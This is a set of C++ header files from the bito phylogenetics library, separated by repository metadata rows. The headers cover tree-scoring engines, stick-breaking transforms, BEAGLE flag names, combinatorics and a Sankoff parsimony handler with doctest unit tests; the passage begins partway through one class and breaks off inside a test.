// Build map from new NNI's pcsp bitsets to best reference pre-NNI's edge in DAG.
// Creates map entry for grandparent, sister, left_child, and right_child of each NNI,
BitsetEdgeIdMap BuildMapOfProposedNNIPCSPsToBestPreNNIEdges(
const NNISet &post_nnis,
std::optional<const size_t> prev_edge_count = std::nullopt,
std::optional<const Reindexer> edge_reindexer = std::nullopt) const;
// Build map above, but storing edges as PCSPs.
BitsetBitsetMap BuildMapOfProposedNNIPCSPsToBestPreNNIPCSPs(
const NNISet &post_nnis,
std::optional<const size_t> prev_edge_count = std::nullopt,
std::optional<const Reindexer> edge_reindexer = std::nullopt) const;
// Build map from post-NNI PCSP to pre-NNI edge_id.
NNIAdjBitsetEdgeIdMap BuildAdjacentPCSPsFromPreNNIToPostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni) const;
// Build node_id map from pre-NNI to post-NNI.
TPChoiceMap::EdgeChoiceNodeIdMap BuildAdjacentNodeIdMapFromPreNNIToPostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni) const;
// Build PCSP map from pre-NNI to post-NNI.
TPChoiceMap::EdgeChoicePCSPMap BuildAdjacentPCSPMapFromPreNNIToPostNNI(
const NNIOperation &pre_nni, const NNIOperation &post_nni) const;
// Build map from edge PCSPs to vector of edge choice PCSPs.
using PCSPToPCSPsMap = std::map<Bitset, std::vector<Bitset>>;
PCSPToPCSPsMap BuildMapFromPCSPToEdgeChoicePCSPs() const;
// Build map from edge PCSPs to their PV Hashes.
using PCSPToPVHashesMap = std::map<Bitset, std::vector<std::string>>;
PCSPToPVHashesMap BuildMapFromPCSPToPVHashes() const;
// Build map from edge PCSPs to their PV Values.
using PCSPToPVValuesMap = std::map<Bitset, std::vector<DoubleVector>>;
PCSPToPVValuesMap BuildMapFromPCSPToPVValues() const;
// Build map from edge PCSPs to their branch length.
using PCSPToBranchLengthMap = std::map<Bitset, double>;
PCSPToBranchLengthMap BuildMapFromPCSPToBranchLength() const;
// Build map from edge PCSPs to their top tree score.
using PCSPToScoreMap = std::map<Bitset, double>;
PCSPToScoreMap BuildMapFromPCSPToScore(const bool recompute_scores);
// ** TP Evaluation Engine
// Get current in use evaluation engine.
TPEvalEngine &GetEvalEngine() { return *eval_engine_; }
const TPEvalEngine &GetEvalEngine() const { return *eval_engine_; }
// Set evaluation engine type for use in runner.
void SelectEvalEngine(const TPEvalEngineType eval_engine_type);
// Remove all evaluation engines from use.
void ClearEvalEngineInUse();
// Check if evaluation engine is currently in use.
bool IsEvalEngineInUse(const TPEvalEngineType eval_engine_type) const {
return eval_engine_in_use_[eval_engine_type];
}
// Update PVs after modifying the DAG.
void UpdateEvalEngineAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &nni_to_pre_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer);
// ** TP Evaluation Engine - Likelihood
void MakeLikelihoodEvalEngine(const std::string &mmap_likelihood_path);
TPEvalEngineViaLikelihood &GetLikelihoodEvalEngine() { return *likelihood_engine_; }
const TPEvalEngineViaLikelihood &GetLikelihoodEvalEngine() const {
return *likelihood_engine_;
}
bool HasLikelihoodEvalEngine() const { return likelihood_engine_ != nullptr; }
void SelectLikelihoodEvalEngine();
EigenConstMatrixXdRef GetLikelihoodMatrix() {
Assert(HasLikelihoodEvalEngine(), "Must MakeLikelihoodEvalEngine before access.");
auto &log_likelihoods =
GetLikelihoodEvalEngine().GetDAGBranchHandler().GetBranchLengthData();
return log_likelihoods.block(0, 0, GetEdgeCount(), log_likelihoods.cols());
}
const PLVEdgeHandler &GetLikelihoodPVs() const {
Assert(HasLikelihoodEvalEngine(), "Must MakeLikelihoodEvalEngine before access.");
return GetLikelihoodEvalEngine().GetPVs();
}
const EigenVectorXd &GetTopTreeLikelihoods() const {
Assert(HasLikelihoodEvalEngine(), "Must MakeLikelihoodEvalEngine before access.");
return GetLikelihoodEvalEngine().GetTopTreeScores();
}
// ** TP Evaluation Engine - Parsimony
void MakeParsimonyEvalEngine(const std::string &mmap_parsimony_path);
TPEvalEngineViaParsimony &GetParsimonyEvalEngine() { return *parsimony_engine_; }
const TPEvalEngineViaParsimony &GetParsimonyEvalEngine() const {
return *parsimony_engine_;
}
bool HasParsimonyEvalEngine() const { return parsimony_engine_ != nullptr; }
void SelectParsimonyEvalEngine();
const PSVEdgeHandler &GetParsimonyPVs() const {
Assert(HasParsimonyEvalEngine(), "Must MakeParsimonyEvalEngine before access.");
return GetParsimonyEvalEngine().GetPVs();
}
const EigenVectorXd &GetTopTreeParsimonies() const {
Assert(HasParsimonyEvalEngine(), "Must MakeParsimonyEvalEngine before access.");
return GetParsimonyEvalEngine().GetTopTreeScores();
}
// ** TP Evaluation Engine - Branch Lengths
const EigenVectorXd &GetBranchLengths() const {
if (HasLikelihoodEvalEngine()) {
return GetLikelihoodEvalEngine().GetDAGBranchHandler().GetBranchLengthData();
}
Failwith("EvalEngine Type does not have branch lengths.");
}
DAGBranchHandler &GetDAGBranchHandler() {
if (HasLikelihoodEvalEngine()) {
return GetLikelihoodEvalEngine().GetDAGBranchHandler();
}
Failwith("EvalEngine Type does not have branch lengths.");
}
const DAGBranchHandler &GetDAGBranchHandler() const {
if (HasLikelihoodEvalEngine()) {
return GetLikelihoodEvalEngine().GetDAGBranchHandler();
}
Failwith("EvalEngine Type does not have branch lengths.");
}
// Set branch lengths from vector.
void SetBranchLengths(EigenVectorXd new_branch_lengths) {
GetDAGBranchHandler().SetBranchLengths(new_branch_lengths);
}
// Set branch lengths to default.
void SetBranchLengthsToDefault();
// Set branch lengths by taking the first occurrance of each PCSP edge from
// tree collection (requires likelihood evaluation engine).
void SetBranchLengthsByTakingFirst(const RootedTreeCollection &tree_collection,
const BitsetSizeMap &edge_indexer,
const bool set_uninitialized_to_default = false);
// Find optimized branch lengths.
void OptimizeBranchLengths(
std::optional<bool> check_branch_convergence = std::nullopt);
// ** Scoring
// Get score of top-scoring tree in DAG containing given edge.
double GetTopTreeScore(const EdgeId edge_id) const {
return GetEvalEngine().GetTopTreeScoreWithEdge(edge_id);
}
// Get likelihood of top-scoring tree in DAG containing given edge.
double GetTopTreeLikelihood(const EdgeId edge_id) const {
Assert(HasLikelihoodEvalEngine(), "Must MakeLikelihoodEvalEngine before access.");
return GetLikelihoodEvalEngine().GetTopTreeScoreWithEdge(edge_id);
}
// Get parsimony of top-scoring tree in DAG containing given edge.
double GetTopTreeParsimony(const EdgeId edge_id) const {
Assert(HasParsimonyEvalEngine(), "Must MakeParsimonyEvalEngine before access.");
return GetParsimonyEvalEngine().GetTopTreeScoreWithEdge(edge_id);
}
// Get the Top Tree from the DAG containing the proposed NNI.
double GetTopTreeScoreWithProposedNNI(
const NNIOperation &post_nni, const NNIOperation &pre_nni,
const size_t spare_offset = 0,
std::optional<BitsetEdgeIdMap> best_edge_map_opt = std::nullopt);
// Initialize EvalEngine.
void InitializeScores();
// Final Score Computation after Initialization or Update.
void ComputeScores();
// Update the EvalEngine after adding Node Pairs to the DAG.
void UpdateScoresAfterDAGAddNodePair(const NNIOperation &post_nni,
const NNIOperation &pre_nni,
std::optional<size_t> new_tree_id);
// ** Tree/Topology Builder
// Get top-scoring topology in DAG containing given edge.
Node::Topology GetTopTopologyWithEdge(const EdgeId edge_id) const;
// Get top-scoring tree in DAG containing given edge.
RootedTree GetTopTreeWithEdge(const EdgeId edge_id) const;
// Get resulting top-scoring tree containing proposed NNI.
RootedTree GetTopTreeProposedWithNNI(const NNIOperation &nni) const;
// Get resulting top-scoring topology with proposed NNI.
Node::Topology GetTopTreeTopologyProposedWithNNI(const NNIOperation &nni) const;
// Build the set of edge_ids in DAG that represent the embedded top tree.
std::set<EdgeId> BuildSetOfEdgesRepresentingTopology(
const Node::Topology &topology) const;
// Find the top tree's TreeId using the given edge id representation of the tree in
// the DAG.
std::set<TreeId> FindTreeIdsInTreeEdgeVector(const std::set<EdgeId> edge_ids) const;
// Use branch lengths to build tree from a topology that is contained in the DAG.
RootedTree BuildTreeFromTopologyInDAG(const Node::Topology &topology) const;
// Build map containing all unique top tree topologies. Matched against all an
// edge_id which results in given top tree.
EdgeIdTopologyMap BuildMapOfEdgeIdToTopTopologies() const;
// Build map containing all unique top tree topologies. Matched against tree_id,
// which ranks trees according to input ordering into the DAG.
TreeIdTopologyMap BuildMapOfTreeIdToTopTopologies() const;
// Build map containing all unique top trees. Matched against tree_id, which ranks
// trees according to input ordering into the DAG.
TreeIdTreeMap BuildMapOfTreeIdToTopTrees() const;
// Output TPEngine DAG as a newick of top trees, ordered by priority.
std::string ToNewickOfTopTopologies() const;
std::string ToNewickOfTopTrees() const;
// Build PCSPs for all edges adjacent to proposed NNI.
TPChoiceMap::EdgeChoicePCSPs BuildAdjacentPCSPsToProposedNNI(
const NNIOperation &nni,
const TPChoiceMap::EdgeChoiceNodeIds &adj_node_ids) const;
// ** I/O
std::string LikelihoodPVToString(const PVId pv_id) const;
std::string LogLikelihoodMatrixToString() const;
std::string ParsimonyPVToString(const PVId pv_id) const;
std::string ChoiceMapToString() const { return GetChoiceMap().ToString(); };
std::string TreeSourceToString() const;
protected:
// ** Choice Map Helpers
// Find the edge from the highest priority tree that is adjacent to given node in
// the given direction.
// Accomplished by iterating over all adjacent edges using tree_source_ edge
// map, which gives the best tree id using a given edge. The best tree is
// expected to be the earliest found in the tree collection, aka smallest
// tree id. The adjacent edge that comes from the best tree is chosen.
EdgeId FindHighestPriorityEdgeAdjacentToNode(const NodeId node_id,
const Direction direction) const;
EdgeId FindHighestPriorityEdgeAdjacentToNode(const NodeId node_id,
const Direction direction,
const SubsplitClade clade) const;
protected:
// ChoiceMap for find top-scoring tree containing any given branch.
TPChoiceMap choice_map_;
// Tree id where branch_length and choice_map is sourced. Also function as a edge
// priority in terms of score: lower tree_id trees should have better scores.
std::vector<TreeId> tree_source_;
// Total number of trees used to construct the DAG.
size_t input_tree_count_ = 0;
// The number of top trees in DAG.
size_t tree_counter_ = 0;
// Map of tree ids to topologies. The tree id gives the ranking of the best
// scoring of inserted trees into the DAG.
std::map<TreeId, Node::Topology> tree_id_map_;
std::map<TreeId, double> tree_score_map_;
// Leaf labels.
SitePattern site_pattern_;
EigenVectorXd site_pattern_weights_;
size_t spare_nodes_per_nni_ = 15;
size_t spare_edges_per_nni_ = 6;
// Total number of nodes in DAG. Determines sizes of data vectors indexed on
// nodes.
size_t node_count_ = 0;
size_t node_alloc_ = 0;
size_t node_spare_count_ = spare_nodes_per_nni_;
// Total number of edges in DAG. Determines sizes of data vectors indexed on edges.
size_t edge_count_ = 0;
size_t edge_alloc_ = 0;
size_t edge_spare_count_ = spare_nodes_per_nni_;
// Growth factor when reallocating data.
constexpr static double resizing_factor_ = 2.0;
// Un-owned reference to DAG.
GPDAG *dag_ = nullptr;
// Un-owned reference to GraftDAG.
GraftDAG *graft_dag_ = nullptr;
// Map that tracks the optimal edge to reference for each individual edge.
// BitsetEdgeIdMap best_edge_map_;
// Use best edge map for scoring NNIs.
bool do_use_best_edge_map_ = true;
// A map showing which Evaluation Engines are "in use". Several engines may be
// instatiated, but may or may not be currently used for computation, and therefore
// may not need to be upkept.
TPEvalEngineTypeEnum::Array<bool> eval_engine_in_use_;
// Un-owned reference to TP Evaluation Engine. Can be used to evaluate Top Trees
// according to Likelihood, Parsimony, etc.
TPEvalEngine *eval_engine_ = nullptr;
// Engine evaluates top trees using likelihoods.
std::unique_ptr<TPEvalEngineViaLikelihood> likelihood_engine_ = nullptr;
// Engine evaluates top trees using parsimony.
std::unique_ptr<TPEvalEngineViaParsimony> parsimony_engine_ = nullptr;
};
| 25,220
|
C++
|
.h
| 471
| 48.711253
| 88
| 0.744875
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,124
|
stick_breaking_transform.hpp
|
phylovi_bito/src/stick_breaking_transform.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include "eigen_sugar.hpp"
class Transform {
public:
virtual ~Transform() = default;
virtual EigenVectorXd operator()(EigenVectorXd const& x) const = 0;
virtual EigenVectorXd inverse(EigenVectorXd const& y) const = 0;
virtual double log_abs_det_jacobian(const EigenVectorXd& x,
const EigenVectorXd& y) const = 0;
};
class IdentityTransform : public Transform {
public:
virtual ~IdentityTransform() = default;
EigenVectorXd operator()(EigenVectorXd const& x) const override { return x; };
EigenVectorXd inverse(EigenVectorXd const& y) const override { return y; };
double log_abs_det_jacobian(const EigenVectorXd& x,
const EigenVectorXd& y) const override {
return 0;
};
};
class StickBreakingTransform : public Transform {
// The stick breaking procedure as defined in Stan
// https://mc-stan.org/docs/2_26/reference-manual/simplex-transform-section.html
public:
virtual ~StickBreakingTransform() = default;
EigenVectorXd operator()(EigenVectorXd const& x) const;
EigenVectorXd inverse(EigenVectorXd const& y) const;
double log_abs_det_jacobian(const EigenVectorXd& x, const EigenVectorXd& y) const;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("BreakingStickTransform") {
StickBreakingTransform a;
EigenVectorXd y(3);
y << 1., 2., 3.;
EigenVectorXd x_expected(4);
// x_expected =
// torch.distributions.StickBreakingTransform()(torch.tensor([1., 2., 3.]))
x_expected << 0.475367, 0.412879, 0.106454, 0.00530004;
EigenVectorXd x = a(y);
CheckVectorXdEquality(x, x_expected, 1.e-5);
EigenVectorXd yy = a.inverse(x);
CheckVectorXdEquality(y, yy, 1e-5);
// log_abs_det_jacobian_expected =
// torch.distributions.StickBreakingTransform().log_abs_det_jacobian(y,x)
double log_abs_det_jacobian_expected = -9.108352;
CHECK(a.log_abs_det_jacobian(x, y) ==
doctest::Approx(log_abs_det_jacobian_expected).epsilon(1.e-5));
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,143
|
C++
|
.h
| 51
| 37.921569
| 84
| 0.72701
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,125
|
quartet_hybrid_request.hpp
|
phylovi_bito/src/quartet_hybrid_request.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Stores a "request" for a quartet hybrid marginal calculation.
#pragma once
#include <iostream>
#include <vector>
struct QuartetTip {
constexpr QuartetTip(size_t tip_node_id, size_t plv_idx, size_t gpcsp_idx)
: tip_node_id_(tip_node_id), plv_idx_(plv_idx), gpcsp_idx_(gpcsp_idx){};
size_t tip_node_id_;
size_t plv_idx_;
size_t gpcsp_idx_;
};
using QuartetTipVector = std::vector<QuartetTip>;
struct QuartetHybridRequest {
QuartetHybridRequest(size_t central_gpcsp_idx, QuartetTipVector rootward_tips,
QuartetTipVector sister_tips, QuartetTipVector rotated_tips,
QuartetTipVector sorted_tips)
: central_gpcsp_idx_(central_gpcsp_idx),
rootward_tips_(std::move(rootward_tips)),
sister_tips_(std::move(sister_tips)),
rotated_tips_(std::move(rotated_tips)),
sorted_tips_(std::move(sorted_tips)){};
// Are each of the tip vectors non-empty?
bool IsFullyFormed() const;
size_t central_gpcsp_idx_;
QuartetTipVector rootward_tips_;
QuartetTipVector sister_tips_;
QuartetTipVector rotated_tips_;
QuartetTipVector sorted_tips_;
};
std::ostream& operator<<(std::ostream& os, QuartetTip const& plv_pcsp);
std::ostream& operator<<(std::ostream& os, QuartetTipVector const& plv_pcsp_vector);
std::ostream& operator<<(std::ostream& os, QuartetHybridRequest const& request);
| 1,507
|
C++
|
.h
| 35
| 38.571429
| 84
| 0.719945
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,127
|
beagle_flag_names.hpp
|
phylovi_bito/src/beagle_flag_names.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// BeagleAccessories are collections of artifacts that we can make in constant
// time given the tree, and remain const througout any operation-gathering tree
// traversal.
#pragma once
#include <bitset>
#include <limits>
#include <string>
#include <vector>
#include "libhmsbeagle/beagle.h"
namespace BeagleFlagNames {
constexpr int long_bit_count = std::numeric_limits<long>::digits + 1;
static const std::vector<std::string> name_vector{
"PRECISION_SINGLE", // 00 Single precision computation
"PRECISION_DOUBLE", // 01 Double precision computation
"COMPUTATION_SYNCH", // 02 Synchronous computation (blocking)
"COMPUTATION_ASYNCH", // 03 Asynchronous computation (non-blocking)
"EIGEN_REAL", // 04 Real eigenvalue computation
"EIGEN_COMPLEX", // 05 Complex eigenvalue computation
"SCALING_MANUAL", // 06 Manual scaling
"SCALING_AUTO", // 07 Auto-scaling on (deprecated)
"SCALING_ALWAYS", // 08 Scale at every updatePartials (deprecated)
"SCALERS_RAW", // 09 Save raw scalers
"SCALERS_LOG", // 10 Save log scalers
"VECTOR_SSE", // 11 SSE computation
"VECTOR_NONE", // 12 No vector computation
"THREADING_OPENMP", // 13 OpenMP threading
"THREADING_NONE", // 14 No threading (default)
"PROCESSOR_CPU", // 15 Use CPU as main processor
"PROCESSOR_GPU", // 16 Use GPU as main processor
"PROCESSOR_FPGA", // 17 Use FPGA as main processor
"PROCESSOR_CELL", // 18 Use Cell as main processor
"PROCESSOR_PHI", // 19 Use Intel Phi as main processor
"INVEVEC_STANDARD", // 20 Inverse eigen vectors have not been transposed
"INVEVEC_TRANSPOSED", // 21 Inverse eigen vectors have been transposed
"FRAMEWORK_CUDA", // 22 Use CUDA implementation with GPU resources
"FRAMEWORK_OPENCL", // 23 Use OpenCL implementation with GPU resources
"VECTOR_AVX", // 24 AVX computation
"SCALING_DYNAMIC", // 25 Manual scaling with dynamic checking (deprecated)
"PROCESSOR_OTHER", // 26 Use other type of processor
"FRAMEWORK_CPU", // 27 Use CPU implementation
"PARALLELOPS_STREAMS", // 28 Ops may be assigned to separate device streams
"PARALLELOPS_GRID", // 29 Ops may be folded into single kernel launch
"THREADING_CPP", // 30 C++11 threading
};
std::string OfBeagleFlags(long flags) {
std::bitset<long_bit_count> beagle_bitset{static_cast<unsigned long long>(flags)};
std::string set_flags;
std::string perhaps_space;
for (size_t bit_idx = 0; bit_idx < name_vector.size(); ++bit_idx) {
if (beagle_bitset.test(bit_idx)) {
set_flags += perhaps_space + name_vector.at(bit_idx);
if (perhaps_space.empty()) {
perhaps_space = " ";
}
}
}
return set_flags;
}
} // namespace BeagleFlagNames
| 3,045
|
C++
|
.h
| 62
| 45.241935
| 84
| 0.66958
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,128
|
unrooted_tree.hpp
|
phylovi_bito/src/unrooted_tree.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <vector>
#include "tree.hpp"
class UnrootedTree : public Tree {
public:
typedef std::vector<UnrootedTree> UnrootedTreeVector;
// See tree.hpp for description of constructors.
UnrootedTree(const Node::NodePtr& topology, BranchLengthVector branch_lengths);
UnrootedTree(const Node::NodePtr& topology, TagDoubleMap branch_lengths);
explicit UnrootedTree(Tree tree)
: UnrootedTree(tree.Topology(), std::move(tree.branch_lengths_)){};
UnrootedTree DeepCopy() const;
bool operator==(const Tree& other) const = delete;
bool operator==(const UnrootedTree& other) const;
// Returns a new version of this tree without a trifurcation at the root,
// making it a bifurcation. Given (s0:b0, s1:b1, s2:b2):b4, we get (s0:b0,
// (s1:b1, s2:b2):0):0. Note that we zero out the root branch length.
Tree Detrifurcate() const;
static UnrootedTree UnitBranchLengthTreeOf(const Node::NodePtr& topology);
static UnrootedTree OfParentIdVector(const std::vector<size_t>& indices);
static TreeVector ExampleTrees() = delete;
private:
static void AssertTopologyTrifurcatingInConstructor(const Node::NodePtr& topology);
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("UnrootedTree") {
auto trees = Tree::ExampleTrees();
auto unrooted_tree = UnrootedTree(trees[0]);
auto original_newick = unrooted_tree.Newick();
CHECK_EQ(unrooted_tree.Detrifurcate().Topology(), trees[3].Topology());
// Shows that Detrifurcate doesn't change the original tree.
CHECK_EQ(original_newick, unrooted_tree.Newick());
auto topologies = Node::ExampleTopologies();
// This should work: topology has trifurcation at the root.
UnrootedTree::UnitBranchLengthTreeOf(topologies[0]);
// This shouldn't.
CHECK_THROWS_AS(UnrootedTree::UnitBranchLengthTreeOf(topologies[3]),
std::runtime_error&);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,009
|
C++
|
.h
| 42
| 44.642857
| 85
| 0.759079
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,129
|
combinatorics.hpp
|
phylovi_bito/src/combinatorics.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <cmath>
#include <cstddef>
namespace Combinatorics {
// The number of topologies on the given number of taxa.
double TopologyCount(size_t taxon_count);
// The log of the number of topologies on the given number of taxa.
double LogTreeCount(size_t taxon_count);
// Define the child subsplit count ratio for (n0, n1) as the number of topologies with
// n0 taxa times the number of topologies with n1 taxa divided by the number of
// topologies with n0+n1 taxa. This is a prior probability for a subsplit with (n0, n1)
// taxa conditioned on it resolving a subsplit on n0+n1 taxa under the uniform
// distribution on topologies.
//
// Naive version:
double LogChildSubsplitCountRatioNaive(size_t child0_taxon_count,
size_t child1_taxon_count);
// Non-naive version:
double LogChildSubsplitCountRatio(size_t child0_taxon_count, size_t child1_taxon_count);
} // namespace Combinatorics
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("Combinatorics") {
CHECK_EQ(Combinatorics::TopologyCount(1), 1.);
CHECK_EQ(Combinatorics::TopologyCount(2), 1.);
CHECK_EQ(Combinatorics::TopologyCount(3), 3.);
CHECK_EQ(Combinatorics::TopologyCount(4), 15.);
CHECK_EQ(Combinatorics::TopologyCount(5), 105.);
CHECK_EQ(Combinatorics::TopologyCount(6), 945.);
CHECK_EQ(Combinatorics::TopologyCount(7), 10395.);
for (size_t taxon_count = 1; taxon_count < 20; taxon_count++) {
CHECK_LT(fabs(Combinatorics::LogTreeCount(taxon_count) -
std::log(Combinatorics::TopologyCount(taxon_count))),
1e-10);
}
for (size_t child0_count = 1; child0_count < 10; child0_count++) {
for (size_t child1_count = 1; child1_count < 10; child1_count++) {
CHECK_LT(
fabs(Combinatorics::LogChildSubsplitCountRatio(child0_count, child1_count) -
Combinatorics::LogChildSubsplitCountRatioNaive(child0_count,
child1_count)),
1e-10);
}
}
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,174
|
C++
|
.h
| 47
| 40.659574
| 88
| 0.702077
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,130
|
sankoff_handler.hpp
|
phylovi_bito/src/sankoff_handler.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Methods to calculate Sankoff on a tree.
#pragma once
#include "eigen_sugar.hpp"
#include "sugar.hpp"
#include "sankoff_matrix.hpp"
#include "site_pattern.hpp"
#include "node.hpp"
#include "driver.hpp"
#include "pv_handler.hpp"
#include "gp_dag.hpp"
// Partial vector for one node across all sites
using SankoffPartial = NucleotidePLV;
// Each SankoffPartial represents calculations for one node
using SankoffPartialVec = std::vector<SankoffPartial>;
// references for SankoffPartials
using SankoffPartialRef = Eigen::Ref<SankoffPartial>;
using SankoffPartialRefVec = std::vector<SankoffPartialRef>;
class SankoffHandler {
public:
// DNA assumption
static constexpr size_t state_count_ = 4;
static constexpr double big_double_ = static_cast<double>(INT_MAX);
// Constructors
SankoffHandler(SitePattern site_pattern, const std::string &mmap_file_path,
double resizing_factor = 2.0)
: mutation_costs_(SankoffMatrix()),
site_pattern_(std::move(site_pattern)),
resizing_factor_(resizing_factor),
psv_handler_(mmap_file_path, 0, site_pattern_.PatternCount(),
resizing_factor_) {
Assert(site_pattern_.SequenceCount() == site_pattern_.TaxonCount(),
"Error in SankoffHandler constructor 1: Every sequence should be associated "
"with a node.");
psv_handler_.SetCount(site_pattern_.TaxonCount());
psv_handler_.SetAllocatedCount(
size_t(ceil(double(psv_handler_.GetPaddedCount()) * resizing_factor_)));
psv_handler_.Resize(site_pattern_.TaxonCount(), psv_handler_.GetAllocatedCount());
}
SankoffHandler(CostMatrix cost_matrix, SitePattern site_pattern,
const std::string &mmap_file_path, double resizing_factor = 2.0)
: mutation_costs_(SankoffMatrix(cost_matrix)),
site_pattern_(std::move(site_pattern)),
resizing_factor_(resizing_factor),
psv_handler_(mmap_file_path, 0, site_pattern_.PatternCount(),
resizing_factor_) {
Assert(site_pattern_.SequenceCount() == site_pattern_.TaxonCount(),
"Error in SankoffHandler constructor 2: Every sequence should be associated "
"with a node.");
psv_handler_.SetCount(site_pattern_.TaxonCount());
psv_handler_.SetAllocatedCount(
size_t(ceil(double(psv_handler_.GetPaddedCount()) * resizing_factor_)));
psv_handler_.Resize(site_pattern_.TaxonCount(), psv_handler_.GetAllocatedCount());
}
SankoffHandler(SankoffMatrix sankoff_matrix, SitePattern site_pattern,
const std::string &mmap_file_path, double resizing_factor = 2.0)
: mutation_costs_(std::move(sankoff_matrix)),
site_pattern_(std::move(site_pattern)),
resizing_factor_(resizing_factor),
psv_handler_(mmap_file_path, 0, site_pattern_.PatternCount(),
resizing_factor_) {
Assert(site_pattern_.SequenceCount() == site_pattern_.TaxonCount(),
"Error in SankoffHandler constructor 3: Every sequence should be associated "
"with a node.");
psv_handler_.SetCount(site_pattern_.TaxonCount());
psv_handler_.SetAllocatedCount(
size_t(ceil(double(psv_handler_.GetPaddedCount()) * resizing_factor_)));
psv_handler_.Resize(site_pattern_.TaxonCount(), psv_handler_.GetAllocatedCount());
}
PSVNodeHandler &GetPSVHandler() { return psv_handler_; }
SankoffMatrix &GetCostMatrix() { return mutation_costs_; }
// Resize PVs to fit model.
void Resize(const size_t new_node_count);
// Partial Sankoff Vector Handler.
SankoffPartialVec PartialsAtPattern(PSVType psv_type, size_t pattern_idx) {
SankoffPartialVec partials_at_pattern(psv_handler_.GetCount());
for (NodeId node = 0; node < psv_handler_.GetCount(); node++) {
partials_at_pattern[node.value_] = psv_handler_(psv_type, node).col(pattern_idx);
}
return partials_at_pattern;
}
// Fill in leaf-values for P partials.
void GenerateLeafPartials();
// Sum p-partials for right and left children of node 'node_id'
// In this case, we get the full p-partial of the given node after all p-partials
// have been concatenated into one SankoffPartialVector
EigenVectorXd TotalPPartial(NodeId node_id, size_t site_idx);
// Calculate the partial for a given parent-child pair
EigenVectorXd ParentPartial(EigenVectorXd child_partials);
// Populate rootward parsimony PV for node.
void PopulateRootwardParsimonyPVForNode(const NodeId parent_id,
const NodeId left_child_id,
const NodeId right_child_id);
// Populate leafward parsimony PV for node.
void PopulateLeafwardParsimonyPVForNode(const NodeId parent_id,
const NodeId left_child_id,
const NodeId right_child_id);
// Calculates left p_partials, right p_partials, and q_partials for all nodes at all
// sites in tree topology.
void RunSankoff(Node::NodePtr topology);
// Calculates parsimony score on given node across all sites.
double ParsimonyScore(NodeId node_id = NodeId(0));
private:
SankoffMatrix mutation_costs_;
SitePattern site_pattern_;
double resizing_factor_;
PSVNodeHandler psv_handler_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("SankoffHandler: Tests on single site sequence.") {
auto fasta_file = "data/hello_single_nucleotide.fasta";
auto newick_file = "data/hello_rooted.nwk";
Alignment alignment = Alignment::ReadFasta(fasta_file);
Driver driver;
RootedTreeCollection tree_collection =
RootedTreeCollection::OfTreeCollection(driver.ParseNewickFile(newick_file));
SitePattern site_pattern = SitePattern(alignment, tree_collection.TagTaxonMap());
Node::NodePtr topology = tree_collection.GetTree(0).Topology();
size_t taxon_count = site_pattern.TaxonCount();
// transitions have cost 1 and transversions have cost 2.5
auto costs = CostMatrix();
costs << 0., 2.5, 1., 2.5, //
2.5, 0., 2.5, 1., //
1., 2.5, 0., 2.5, //
2.5, 1., 2.5, 0.; //
SankoffHandler sh = SankoffHandler(costs, site_pattern, "_ignore/mmapped_psv.data");
// testing RunSankoff for one site
sh.RunSankoff(topology);
// testing GenerateLeafPartials() method (which is run as first step of RunSankoff)
SankoffPartialVec leaves_test = sh.PartialsAtPattern(PSVType::PLeft, 0);
auto big_double = SankoffHandler::big_double_;
SankoffPartial leaves_correct_pattern_0(4, topology->Id() + 1);
// column 1 is G(jupiter), column 2 is C(mars), Column 3 is G(saturn)
leaves_correct_pattern_0 << big_double, big_double, big_double, 0., 0., big_double,
0., big_double, 0., 0., 0., big_double, 0., 0., 0., big_double, big_double,
big_double, 0., 0.;
for (size_t r = 0; r < taxon_count; r++) {
CHECK(leaves_test[r].isApprox(leaves_correct_pattern_0.col(r)));
}
// test parsimony score for RunSankoff
CHECK_LT(fabs(sh.ParsimonyScore(0) - 2.5), 1e-10);
// testing 3rd constructor: SankoffHandler(SankoffMatrix, SitePattern) constructor
SankoffMatrix sm = SankoffMatrix(costs);
SankoffHandler sh2 = SankoffHandler(sm, site_pattern, "_ignore/mmapped_psv.data");
// testing ParentPartial()
auto child_partials = Eigen::Matrix<double, 4, 2>();
child_partials << 2.5, 3.5, 3.5, 3.5, 2.5, 3.5, 3.5, 4.5;
auto parent_test = Eigen::Matrix<double, 4, 1>();
